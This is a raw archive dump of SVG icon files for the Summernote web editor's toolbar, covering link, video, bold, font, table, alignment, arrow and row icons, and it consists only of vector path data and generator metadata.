		<g>
			<path fill="#010202" d="M362.776-44.529c-15.135-25.854-51.752-32.912-77.83-18.056c-26.095,14.861-39.805,50.604-24.67,76.458
				l75.941,122.108c15.125,25.838,53.354,31.993,79.43,17.132c26.094-14.858,38.19-49.702,23.064-75.543L362.776-44.529z"/>
		</g>
	</g>
	<g>
		<g>
			<path fill="#010202" d="M575.588,77.57c-15.126,25.841-3.029,60.685,23.064,75.543c26.075,14.861,64.305,8.707,79.43-17.132
				l75.941-122.108c15.135-25.854,1.425-61.597-24.67-76.458c-26.078-14.856-62.695-7.798-77.83,18.056L575.588,77.57z"/>
		</g>
	</g>
</g>
<g>
	<g>
		<g>
			<path fill="#010202" d="M438.711,943.173c15.126-25.841,3.029-60.685-23.064-75.543c-26.075-14.861-64.305-8.706-79.43,17.132
				l-75.941,122.108c-15.135,25.854-1.425,61.597,24.67,76.458c26.078,14.855,62.695,7.798,77.83-18.057L438.711,943.173z"/>
		</g>
	</g>
	<g>
		<g>
			<path fill="#010202" d="M651.524,1065.271c15.135,25.854,51.752,32.912,77.83,18.057c26.095-14.861,39.805-50.604,24.67-76.458
				l-75.941-122.108c-15.125-25.838-53.354-31.993-79.43-17.132c-26.094,14.858-38.19,49.702-23.064,75.543L651.524,1065.271z"/>
		</g>
	</g>
</g>
<g>
	<g>
		<path fill="#010202" d="M823.22,222.293l-196.119,0.24c-37.265,0-67.438,29.933-67.556,66.596
			c0,36.785,30.051,66.477,67.317,66.477l196.117-0.24c87.271-0.119,158.194,69.841,158.075,156.034
			c-0.117,86.189-71.162,156.393-158.555,156.393l-196.119,0.24c-37.265,0-67.438,29.935-67.438,66.599
			c0,36.784,30.054,66.475,67.318,66.475l196.115-0.241c161.685-0.239,293.315-130.188,293.555-289.706
			C1116.293,351.76,984.903,222.053,823.22,222.293z M393.772,668.394l-192.749,0.241c-87.272,0.12-158.198-69.963-158.077-156.033
			c0.119-86.192,71.284-156.396,158.556-156.515l192.753-0.24c37.265,0,67.437-29.932,67.437-66.596
			c0-36.784-30.052-66.477-67.316-66.477l-192.752,0.242C39.941,223.255-91.691,353.202-91.931,512.721
			S39.218,801.949,200.9,801.706l192.753-0.24c37.264,0,67.438-29.813,67.557-66.597
			C461.209,698.085,431.037,668.394,393.772,668.394z"/>
	</g>
</g>
</svg>
PK�{�\'�¥<<icons/link.svgnu�[���<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="1024px" height="1024px" viewBox="0 0 1024 1024" enable-background="new 0 0 1024 1024" xml:space="preserve">
<g>
	<g>
		<path fill="#010202" d="M823.22,222.293l-196.119,0.24c-37.265,0-67.438,29.933-67.556,66.596
			c0,36.785,30.051,66.477,67.317,66.477l196.117-0.24c87.271-0.119,158.194,69.841,158.075,156.034
			c-0.117,86.189-71.162,156.393-158.555,156.393l-196.119,0.24c-37.265,0-67.438,29.935-67.438,66.599
			c0,36.784,30.054,66.475,67.318,66.475l196.115-0.241c161.685-0.239,293.315-130.188,293.555-289.706
			C1116.293,351.76,984.903,222.053,823.22,222.293z M393.772,668.394l-192.749,0.241c-87.273,0.12-158.198-69.963-158.078-156.033
			c0.12-86.192,71.284-156.396,158.556-156.515l192.752-0.24c37.265,0,67.437-29.932,67.437-66.596
			c0-36.784-30.051-66.477-67.316-66.477l-192.751,0.242C39.941,223.255-91.691,353.202-91.931,512.721
			S39.219,801.949,200.9,801.706l192.753-0.24c37.263,0,67.438-29.813,67.556-66.597
			C461.209,698.085,431.038,668.394,393.772,668.394z M272.601,509.093c0,36.784,30.052,66.476,67.316,66.476l346.928-0.358
			c37.266,0,67.439-29.934,67.558-66.598c0-36.784-30.051-66.478-67.316-66.478l-346.928,0.361
			C302.895,442.496,272.72,472.308,272.601,509.093z"/>
	</g>
</g>
</svg>
PK�{�\	��icons/video.svgnu�[���<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="1024px" height="1024px" viewBox="0 0 1024 1024" enable-background="new 0 0 1024 1024" xml:space="preserve">
<path d="M-70.443,728.622l284.268-120.036V416.415L-70.443,296.266V728.622z M962.801,200.673H329.249
	c-39.146,0-71.374,31.489-71.374,69.789v484.301c0,38.076,32.118,69.564,71.374,69.564h633.552
	c39.256,0,71.263-31.488,71.263-69.564V270.351C1034.064,232.162,1001.946,200.673,962.801,200.673z"/>
</svg>
PK�{�\��&?�
�
icons/summernote.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024">
  <defs>
    <style>
      .cls-1 {
        fill: #000;
        fill-rule: evenodd;
      }
    </style>
  </defs>
  <path d="M1122.033,577.898 L1033.442,577.898 C1036.450,557.776 1038.159,535.279 1038.159,511.748 C1038.159,488.736 1036.511,467.226 1033.634,447.104 L1122.033,447.104 C1157.345,447.104 1186.090,477.189 1186.090,512.501 C1186.090,547.813 1157.345,577.898 1122.033,577.898 ZM929.167,191.898 C901.164,155.489 868.523,122.848 832.113,94.843 L894.837,32.120 C907.751,19.206 924.985,12.093 943.363,12.093 C961.743,12.093 978.976,19.206 991.891,32.120 C1004.807,45.035 1011.919,62.269 1011.919,80.647 C1011.919,99.027 1004.807,116.261 991.891,129.176 L929.167,191.898 ZM390.139,620.385 C386.505,631.404 392.589,637.487 403.607,633.891 L541.794,588.779 L900.676,229.788 C958.318,309.034 992.407,406.516 992.407,512.006 C992.407,777.325 777.324,992.408 512.005,992.408 C246.687,992.408 31.604,777.325 31.604,512.006 C31.604,246.688 246.687,31.605 512.005,31.605 C617.495,31.605 714.974,65.693 794.222,123.335 L435.195,482.236 L390.139,620.385 ZM446.682,-9.540 L446.682,-98.033 C446.682,-133.345 476.766,-162.090 512.078,-162.090 C547.391,-162.090 577.475,-133.345 577.475,-98.033 L577.475,-9.511 C557.353,-12.464 535.275,-14.147 511.965,-14.147 C488.733,-14.147 466.804,-12.474 446.682,-9.540 ZM98.494,187.254 L34.795,124.042 C9.819,99.066 9.262,60.328 34.238,35.352 C59.215,10.391 98.716,10.361 123.721,35.352 L186.790,98.859 C153.982,124.741 124.340,154.417 98.494,187.254 ZM-98.033,577.898 C-133.345,577.898 -162.090,547.813 -162.090,512.501 C-162.090,477.189 -133.345,447.104 -98.033,447.104 L-9.623,447.104 C-12.500,467.226 -14.148,488.736 -14.148,511.748 C-14.148,535.279 -12.439,557.776 -9.430,577.898 L-98.033,577.898 ZM99.092,837.519 C124.835,870.105 154.326,899.562 186.941,925.272 L123.721,988.996 C111.226,1001.477 97.056,1008.066 80.657,1008.066 C64.246,1008.066 47.847,1002.477 35.352,989.996 C10.376,965.020 10.376,925.709 35.352,900.732 L99.092,837.519 ZM577.475,1033.524 L577.475,1122.033 C577.475,1157.345 547.391,1186.090 512.078,1186.090 C476.766,1186.090 446.682,1157.345 446.682,1122.033 L446.682,1033.552 C466.804,1036.486 488.733,1038.160 511.965,1038.160 C535.275,1038.160 557.353,1036.477 577.475,1033.524 ZM925.024,837.387 L988.957,900.732 C1013.933,925.709 1014.225,963.686 989.249,988.663 C976.754,1001.144 960.943,1007.399 944.545,1007.399 C928.133,1007.399 912.907,1001.144 900.413,988.663 L837.302,925.090 C869.869,899.389 899.316,869.949 925.024,837.387 Z" class="cls-1"/>
</svg>
PK�{�\!#gJJicons/align-center.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024">
  <defs>
    <style>
      .cls-1 {
        fill: #000;
        fill-rule: evenodd;
      }
    </style>
  </defs>
  <path d="M1005.873,135.999 L17.000,135.999 L17.000,286.464 L1005.873,286.464 L1005.873,135.999 ZM853.738,587.386 L853.738,436.925 L169.135,436.925 L169.135,587.386 L853.738,587.386 ZM17.434,737.787 L17.434,888.000 L1006.000,888.000 L1006.000,737.787 L17.434,737.787 Z" class="cls-1"/>
</svg>
PK�{�\G�v�66icons/font.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024">
  <defs>
    <style>
      .cls-1 {
        fill: #000;
        fill-rule: evenodd;
      }
    </style>
  </defs>
  <path d="M573.459,743.967 L601.655,814.844 L611.052,837.039 C619.730,855.657 624.065,870.689 624.065,882.145 C624.065,895.035 618.759,905.661 608.164,914.005 C597.553,922.362 570.318,926.535 526.469,926.535 L526.469,1006.008 L1013.015,1006.008 L1013.015,926.535 C990.358,926.535 966.749,919.016 942.164,903.983 C917.585,888.947 890.112,844.201 859.751,769.742 L552.495,17.984 L467.908,17.984 L166.437,770.455 C124.505,874.518 72.691,926.535 11.003,926.535 L11.003,1006.008 L334.884,1006.008 L334.884,926.535 C298.738,926.535 272.712,921.880 256.806,912.575 C240.900,903.266 232.949,886.921 232.949,863.532 C232.949,849.694 239.691,825.830 253.189,791.937 L271.988,743.967 L573.459,743.967 ZM418.748,371.669 L540.929,661.633 L303.077,661.633 L418.748,371.669 Z" class="cls-1"/>
</svg>
PK�{�\/rricons/magic.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" width="1024" height="1024" viewBox="0 0 1024 1024">
  <defs>
    <style>
      .cls-1 {
        fill-rule: evenodd;
      }
    </style>
  </defs>
  <path class="cls-1" d="M849.684,129.609L904.511,183.9,1050.77,39.032l-54.827-54.3ZM991.24,487.441h219.79V410.647l-219.79.008v76.786ZM849.684,853.314L995.943,998.181l54.827-54.289L904.511,799.022ZM27.557,39.032L173.825,183.9l54.821-54.293L82.378-15.269Zm443.712,4.655h77.524l0.01-217.671H471.278ZM-132.579,944.281L50.885,1126,533.252,648.5l-183.46-181.7ZM404.619,412.5L588.073,594.215,772.047,411.989,588.588,230.279Z"/>
</svg>
PK�{�\�m�B��icons/redo.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" width="1024" height="1024" viewBox="0 0 1024 1024">
  <defs>
    <style>
      .cls-1 {
        fill-rule: evenodd;
      }
    </style>
  </defs>
  <path id="Shape_29_copy_3" data-name="Shape 29 copy 3" class="cls-1" d="M1181.48,193.372V728.531H616.6L771.612,580.294s21.019-239-341.56-239S-79.66,648.131-79.66,648.131s147.134-482.4,546.5-482.4S1034.35,331.559,1034.35,331.559Z"/>
</svg>
PK�{�\�B�AAicons/arrows-h.svgnu�[���<svg width="1792" height="1792" viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M1792 896q0 26-19 45l-256 256q-19 19-45 19t-45-19-19-45v-128h-1024v128q0 26-19 45t-45 19-45-19l-256-256q-19-19-19-45t19-45l256-256q19-19 45-19t45 19 19 45v128h1024v-128q0-26 19-45t45-19 45 19l256 256q19 19 19 45z"/></svg>PK�{�\@���icons/picture.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024">
  <defs>
    <style>
      .cls-1 {
        fill: #000;
        fill-rule: evenodd;
      }
    </style>
  </defs>
  <path d="M1068.340,975.691 L-26.281,975.691 C-61.627,975.691 -90.281,947.037 -90.281,911.691 L-90.281,113.254 C-90.281,77.908 -61.627,49.254 -26.281,49.254 L1068.340,49.254 C1103.686,49.254 1132.340,77.908 1132.340,113.254 L1132.340,911.691 C1132.340,947.037 1103.686,975.691 1068.340,975.691 ZM1060.475,192.281 C1060.475,113.556 996.043,121.007 916.561,121.007 L125.033,121.007 C45.551,121.007 -18.881,113.556 -18.881,192.281 L-18.881,762.448 C-18.881,841.172 45.551,904.991 125.033,904.991 L916.561,904.991 C996.043,904.991 1060.475,841.172 1060.475,762.448 L1060.475,192.281 ZM820.368,440.468 C767.439,440.468 724.487,400.954 724.487,352.025 C724.487,303.139 767.439,263.554 820.368,263.554 C873.322,263.554 916.222,303.139 916.222,352.025 C916.222,400.954 873.322,440.468 820.368,440.468 ZM873.397,780.358 C918.029,846.441 885.494,832.253 801.185,832.253 L225.930,832.253 C141.522,832.253 101.661,842.771 137.427,772.270 L276.114,497.962 C311.786,427.437 379.266,422.747 426.053,487.463 L562.711,676.687 L600.888,601.377 C636.612,530.876 702.365,527.233 747.024,593.289 L873.397,780.358 Z" class="cls-1"/>
</svg>
PK�{�\Z��4))icons/special-character.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" width="1024" height="1024" viewBox="0 0 1024 1024">
  <defs>
    <style>
      .cls-1 {
        fill-rule: evenodd;
      }
    </style>
  </defs>
  <path id="_" data-name="※" class="cls-1" d="M807.591,584.975q29.964,27.886,70.339,27.869,46.473,0,75.84-27.869t29.359-72.7q0-44.811-31.194-72.695-31.188-27.864-74-27.869-42.835,0-71.561,29.684-28.76,29.706-28.751,72.093Q777.618,557.11,807.591,584.975Zm-737.635,0q28.732,27.886,74.009,27.869,42.807,0,70.952-27.869,28.124-27.858,28.133-72.7,0-44.811-29.36-72.695-29.353-27.864-69.725-27.869-46.5,0-74.618,29.684Q41.188,471.106,41.21,513.493,41.21,557.11,69.956,584.975ZM422.872,180.3A111.5,111.5,0,0,0,445.5,212.407a103.872,103.872,0,0,0,72.783,29.684q45.243,0,73.4-29.684,28.131-29.677,28.138-72.093,0-43.617-30.582-72.695T518.286,38.541q-46.5,0-75.231,29.684-28.753,29.7-28.746,72.088A92.561,92.561,0,0,0,422.872,180.3ZM444.89,956.94q30.566,27.858,73.4,27.865,44.039,0,72.787-27.865,28.725-27.887,28.747-73.908,0-42.4-30.582-69.667T518.286,786.1q-46.5,0-75.231,28.471-28.753,28.484-28.746,69.667Q414.309,929.058,444.89,956.94ZM919.768,46.429L512.582,449.945,104.533,46.429,43.951,107.145,451.137,509.807,43.951,912.465l60.582,60.715L512.582,569.668,919.768,973.18l59.714-60.715L572.3,509.807,979.482,107.145Z"/>
</svg>
PK�{�\�����icons/arrow-circle-left.svgnu�[���<svg width="1792" height="1792" viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M1408 960v-128q0-26-19-45t-45-19h-502l189-189q19-19 19-45t-19-45l-91-91q-18-18-45-18t-45 18l-362 362-91 91q-18 18-18 45t18 45l91 91 362 362q18 18 45 18t45-18l91-91q18-18 18-45t-18-45l-189-189h502q26 0 45-19t19-45zm256-64q0 209-103 385.5t-279.5 279.5-385.5 103-385.5-103-279.5-279.5-103-385.5 103-385.5 279.5-279.5 385.5-103 385.5 103 279.5 279.5 103 385.5z"/></svg>PK�{�\s�	��icons/pencil.svgnu�[���<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="1024px" height="1024px" viewBox="0 0 1024 1024" enable-background="new 0 0 1024 1024" xml:space="preserve">
<path d="M100.403,576.011l-127.892,470.479L452.19,927.81l599.3-599l-352.3-351.3L100.403,576.011z M873.281,328.811
	L389.143,812.973l-145.086,31.801l-63.754-63.58l34.259-141.311l484.627-484.671L873.281,328.811z"/>
</svg>
PK�{�\��	NNicons/row-below.svgnu�[���<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!-- Created with Inkscape (http://www.inkscape.org/) -->
<svg id="svg3446" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns="http://www.w3.org/2000/svg" xmlns:osb="http://www.openswatchbook.org/uri/2009/osb" height="3.9522mm" width="3.9511mm" version="1.1" xmlns:cc="http://creativecommons.org/ns#" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 14 14.003805" xmlns:dc="http://purl.org/dc/elements/1.1/">
 <metadata id="metadata3451">
  <rdf:RDF>
   <cc:Work rdf:about="">
    <dc:format>image/svg+xml</dc:format>
    <dc:type rdf:resource="http://purl.org/dc/dcmitype/StillImage"/>
    <dc:title/>
   </cc:Work>
  </rdf:RDF>
 </metadata>
 <g id="layer1" transform="translate(745.96 126.95)">
  <g id="g3610-5" transform="matrix(1 0 0 -1 -3506 69.446)">
   <path id="path3400-4-4-5-6" d="m2771 186.43q0 0.264-0.1915 0.4658l-0.3882 0.3882q-0.1966 0.1965-0.4709 0.1965-0.2795 0-0.4658-0.1965l-1.5217-1.5164v3.6436q0 0.2691-0.194 0.4372-0.1941 0.1683-0.4684 0.1683h-0.6625q-0.2743 0-0.4684-0.1683-0.1941-0.1681-0.1941-0.4372v-3.6436l-1.5216 1.5164q-0.1863 0.1965-0.4658 0.1965t-0.4658-0.1965l-0.3882-0.3882q-0.1966-0.1967-0.1966-0.4658 0-0.2742 0.1966-0.471l3.3693-3.3692q0.1812-0.1916 0.4658-0.1916 0.2795 0 0.471 0.1916l3.3693 3.3692q0.1915 0.2019 0.1915 0.471z" stroke-width="0"/>
   <path id="polygon3366-49-8-3-0" style="image-rendering:optimizeQuality;shape-rendering:geometricPrecision" d="m2774 191.08c0-0.2901-0.1688-0.5229-0.3789-0.5229h-13.242c-0.21 0-0.3789 0.2328-0.3789 0.5229v4.7928c0 0.29 0.1689 0.5252 0.3789 0.5252h13.242c0.2101 0 0.3789-0.2352 0.3789-0.5252v-4.7928zm-1.1582 0.687v3.4211h-3.2168v-3.4211h3.2168zm-4.2852 0v3.4211h-3.2148v-3.4211h3.2148zm-4.2832 0v3.4211h-3.2148v-3.4211h3.2148z" fill-rule="evenodd" clip-rule="evenodd"/>
  </g>
 </g>
</svg>
PK�{�\�$���icons/bold.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024">
  <defs>
    <style>
      .cls-1 {
        fill: #000;
        fill-rule: evenodd;
      }
    </style>
  </defs>
  <path d="M804.888,401.892 C843.584,366.065 862.937,322.286 862.937,270.577 C862.937,202.087 833.630,147.995 775.010,108.301 C716.386,68.614 606.469,48.762 445.268,48.762 L394.438,48.762 L36.535,58.970 L36.535,134.496 C87.370,134.496 120.343,142.439 135.459,158.309 C150.571,174.195 158.124,203.895 158.124,247.441 L158.124,788.361 C158.124,833.266 150.108,863.321 134.082,878.514 C118.046,893.714 85.535,901.307 36.535,901.307 L36.535,976.833 L524.958,976.833 C660.974,976.833 758.285,955.296 816.914,912.195 C875.529,869.106 904.841,810.134 904.841,735.289 C904.841,668.607 881.941,614.516 836.144,573.013 C790.348,531.511 721.651,502.590 630.063,486.260 C707.913,465.849 766.183,437.732 804.888,401.892 ZM401.996,129.054 C451.453,129.054 488.890,132.688 514.310,139.938 C539.725,147.200 560.219,163.306 575.793,188.245 C591.357,213.200 599.146,247.220 599.146,290.310 C599.146,347.918 586.786,388.401 562.055,411.757 C537.323,435.125 499.769,446.797 449.392,446.797 L401.996,446.797 L401.996,129.054 ZM446.646,529.810 C495.183,529.810 531.832,534.571 556.558,544.101 C581.289,553.623 600.751,572.107 614.951,599.551 C629.143,626.999 636.243,664.985 636.243,713.516 C636.243,774.307 625.359,819.893 603.614,850.274 C581.860,880.672 549.227,895.864 505.728,895.864 C477.784,895.864 456.148,891.442 440.805,882.597 C425.458,873.752 415.154,862.762 409.894,849.597 C404.624,836.448 401.996,817.172 401.996,791.764 L401.996,529.810 L446.646,529.810 Z" class="cls-1"/>
</svg>
PK�{�\��TKKicons/row-above.svgnu�[���<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!-- Created with Inkscape (http://www.inkscape.org/) -->
<svg id="svg3446" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns="http://www.w3.org/2000/svg" xmlns:osb="http://www.openswatchbook.org/uri/2009/osb" height="3.9522mm" width="3.9511mm" version="1.1" xmlns:cc="http://creativecommons.org/ns#" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 14 14.003805" xmlns:dc="http://purl.org/dc/elements/1.1/">
 <metadata id="metadata3451">
  <rdf:RDF>
   <cc:Work rdf:about="">
    <dc:format>image/svg+xml</dc:format>
    <dc:type rdf:resource="http://purl.org/dc/dcmitype/StillImage"/>
    <dc:title/>
   </cc:Work>
  </rdf:RDF>
 </metadata>
 <g id="layer1" transform="translate(758.78 133.09)">
  <g id="g3610-8" transform="translate(-3518.8 -315.48)">
   <path id="path3400-4-4-5-4" d="m2771 186.43q0 0.264-0.1915 0.4658l-0.3882 0.3882q-0.1966 0.1965-0.4709 0.1965-0.2795 0-0.4658-0.1965l-1.5217-1.5164v3.6436q0 0.2691-0.194 0.4372-0.1941 0.1683-0.4684 0.1683h-0.6625q-0.2743 0-0.4684-0.1683-0.1941-0.1681-0.1941-0.4372v-3.6436l-1.5216 1.5164q-0.1863 0.1965-0.4658 0.1965t-0.4658-0.1965l-0.3882-0.3882q-0.1966-0.1967-0.1966-0.4658 0-0.2742 0.1966-0.471l3.3693-3.3692q0.1812-0.1916 0.4658-0.1916 0.2795 0 0.471 0.1916l3.3693 3.3692q0.1915 0.2019 0.1915 0.471z" stroke-width="0"/>
   <path id="polygon3366-49-8-3-5" style="image-rendering:optimizeQuality;shape-rendering:geometricPrecision" d="m2774 191.08c0-0.2901-0.1688-0.5229-0.3789-0.5229h-13.242c-0.21 0-0.3789 0.2328-0.3789 0.5229v4.7928c0 0.29 0.1689 0.5252 0.3789 0.5252h13.242c0.2101 0 0.3789-0.2352 0.3789-0.5252v-4.7928zm-1.1582 0.687v3.4211h-3.2168v-3.4211h3.2168zm-4.2852 0v3.4211h-3.2148v-3.4211h3.2148zm-4.2832 0v3.4211h-3.2148v-3.4211h3.2148z" fill-rule="evenodd" clip-rule="evenodd"/>
  </g>
 </g>
</svg>
PK�{�\�Hl��icons/arrow-circle-down.svgnu�[���<svg width="1792" height="1792" viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M1412 897q0-27-18-45l-91-91q-18-18-45-18t-45 18l-189 189v-502q0-26-19-45t-45-19h-128q-26 0-45 19t-19 45v502l-189-189q-19-19-45-19t-45 19l-91 91q-18 18-18 45t18 45l362 362 91 91q18 18 45 18t45-18l91-91 362-362q18-18 18-45zm252-1q0 209-103 385.5t-279.5 279.5-385.5 103-385.5-103-279.5-279.5-103-385.5 103-385.5 279.5-279.5 385.5-103 385.5 103 279.5 279.5 103 385.5z"/></svg>PK�{�\��r��icons/table.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024">
  <defs>
    <style>
      .cls-1 {
        fill: #000;
        fill-rule: evenodd;
      }
    </style>
  </defs>
  <path d="M-73.241,975.691 L-73.241,49.254 L285.347,49.254 L358.022,49.254 L645.543,49.254 L718.150,49.254 L1076.738,49.254 L1076.738,975.691 L-73.241,975.691 ZM718.150,904.980 L1005.528,904.980 L1005.528,691.094 L718.150,691.094 L718.150,904.980 ZM1005.528,619.954 L1005.528,406.566 L718.150,406.566 L718.150,619.954 L1005.528,619.954 ZM358.022,904.980 L645.543,904.980 L645.543,691.094 L358.022,691.094 L358.022,904.980 ZM645.543,619.954 L645.543,406.566 L358.022,406.566 L358.022,619.954 L645.543,619.954 ZM-1.871,904.980 L285.347,904.980 L285.347,691.094 L-1.871,691.094 L-1.871,904.980 ZM285.347,619.954 L285.347,406.566 L-1.871,406.566 L-1.871,619.954 L285.347,619.954 ZM-1.871,120.996 L-1.871,335.391 L285.347,335.391 L285.347,120.996 L-1.871,120.996 ZM358.022,120.996 L358.022,335.391 L645.543,335.391 L645.543,120.996 L358.022,120.996 ZM718.150,120.996 L718.150,335.391 L1005.528,335.391 L1005.528,120.996 L718.150,120.996 Z" class="cls-1"/>
</svg>
PK�{�\vzyJ||icons/align-indent.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024">
  <defs>
    <style>
      .cls-1 {
        fill: #000;
        fill-rule: evenodd;
      }
    </style>
  </defs>
  <path d="M10.989,129.999 L10.989,283.817 L1013.000,283.817 L1013.000,129.999 L10.989,129.999 ZM473.108,588.303 L1012.999,588.303 L1012.999,436.108 L473.108,436.108 L473.108,588.303 L473.108,588.303 ZM473.108,892.792 L1012.999,892.792 L1012.999,740.550 L473.108,740.550 L473.108,892.792 L473.108,892.792 ZM47.458,439.405 C68.401,451.885 288.316,631.710 306.015,642.923 C321.884,652.994 322.166,676.965 306.015,687.013 C281.408,702.313 62.619,881.216 48.187,890.077 C30.201,901.151 11.992,887.071 11.992,868.146 L11.992,461.202 C11.995,440.356 32.119,430.242 47.458,439.405 Z" class="cls-1"/>
</svg>
PK�{�\�q
���icons/arrow-circle-right.svgnu�[���<svg width="1792" height="1792" viewBox="0 0 1792 1792" xmlns="http://www.w3.org/2000/svg"><path d="M1413 896q0-27-18-45l-91-91-362-362q-18-18-45-18t-45 18l-91 91q-18 18-18 45t18 45l189 189h-502q-26 0-45 19t-19 45v128q0 26 19 45t45 19h502l-189 189q-19 19-19 45t19 45l91 91q18 18 45 18t45-18l362-362 91-91q18-18 18-45zm251 0q0 209-103 385.5t-279.5 279.5-385.5 103-385.5-103-279.5-279.5-103-385.5 103-385.5 279.5-279.5 385.5-103 385.5 103 279.5 279.5 103 385.5z"/></svg>PK�{�\�x6�KKicons/align-justify.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024">
  <defs>
    <style>
      .cls-1 {
        fill: #000;
        fill-rule: evenodd;
      }
    </style>
  </defs>
  <path d="M1005.873,135.999 L17.000,135.999 L17.000,286.464 L1005.873,286.464 L1005.873,135.999 ZM1005.873,436.925 L17.000,436.925 L17.000,587.386 L1005.873,587.386 L1005.873,436.925 ZM17.434,737.787 L17.434,888.000 L1006.000,888.000 L1006.000,737.787 L17.434,737.787 Z" class="cls-1"/>
</svg>
PK�{�\�"��	�	icons/strikethrough.svgnu�[���<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" preserveAspectRatio="xMidYMid" width="1024" height="1024" viewBox="0 0 1024 1024">
  <defs>
    <style>
      .cls-1 {
        fill: #000;
        fill-rule: evenodd;
      }
    </style>
  </defs>
  <path d="M999.602,572.813 L23.826,572.813 C14.990,572.813 7.826,565.650 7.826,556.813 L7.826,446.566 C7.826,437.730 14.990,430.566 23.826,430.566 L222.008,430.566 C219.520,428.463 217.056,426.350 214.637,424.218 C161.037,373.796 134.249,315.121 134.249,248.206 C134.249,212.816 142.487,179.473 158.985,148.198 C175.469,116.922 198.139,90.014 227.007,67.465 C255.857,44.916 290.123,27.349 329.810,14.736 C369.487,2.130 412.255,-4.175 458.127,-4.175 C491.619,-4.175 521.375,-1.993 547.403,2.370 C573.418,6.734 600.862,13.042 629.726,21.281 C658.580,29.531 682.023,35.713 700.069,39.828 C718.101,43.951 732.269,57.144 742.582,57.144 C770.917,57.144 790.242,35.961 800.555,2.504 L870.333,2.504 L870.333,317.302 L803.645,317.302 C782.005,266.876 754.042,222.751 719.780,184.927 C685.500,147.107 647.625,117.903 606.150,97.287 C564.661,76.680 522.016,66.374 478.225,66.374 C431.325,66.374 393.836,77.172 365.756,98.741 C337.661,120.321 323.630,149.052 323.630,184.927 C323.630,217.908 337.793,247.730 366.142,274.390 C382.108,288.460 413.293,307.245 459.670,330.758 C506.051,354.284 550.361,376.340 592.624,396.944 C614.707,407.719 636.721,418.934 658.668,430.566 L999.602,430.566 C1008.439,430.566 1015.602,437.730 1015.602,446.566 L1015.602,556.813 C1015.602,565.650 1008.439,572.813 999.602,572.813 ZM270.294,825.703 C307.395,866.433 348.361,897.594 393.195,919.167 C438.029,940.747 484.660,951.529 533.103,951.529 C568.143,951.529 599.196,945.236 626.248,932.619 C653.301,920.017 674.295,902.800 689.246,880.980 C704.188,859.160 711.661,834.433 711.661,806.793 C711.661,762.675 693.110,723.150 656.009,688.240 C639.510,671.759 615.680,661.588 584.509,644.371 L894.856,644.371 C909.279,679.045 916.502,709.332 916.502,748.605 C916.502,800.496 901.815,847.885 872.442,890.797 C843.068,933.710 802.353,967.293 750.310,991.535 C698.257,1015.773 641.322,1027.902 579.485,1027.902 C537.222,1027.902 499.215,1023.775 465.468,1015.537 C431.712,1007.287 393.450,996.386 350.682,982.804 C307.900,969.238 279.301,962.441 264.883,962.441 C244.265,962.441 246.469,968.383 231.013,980.260 C215.552,992.149 205.503,1007.535 200.866,1026.445 L151.394,1026.445 L151.394,683.876 L200.866,683.876 C223.535,737.697 233.188,784.972 270.294,825.703 Z" 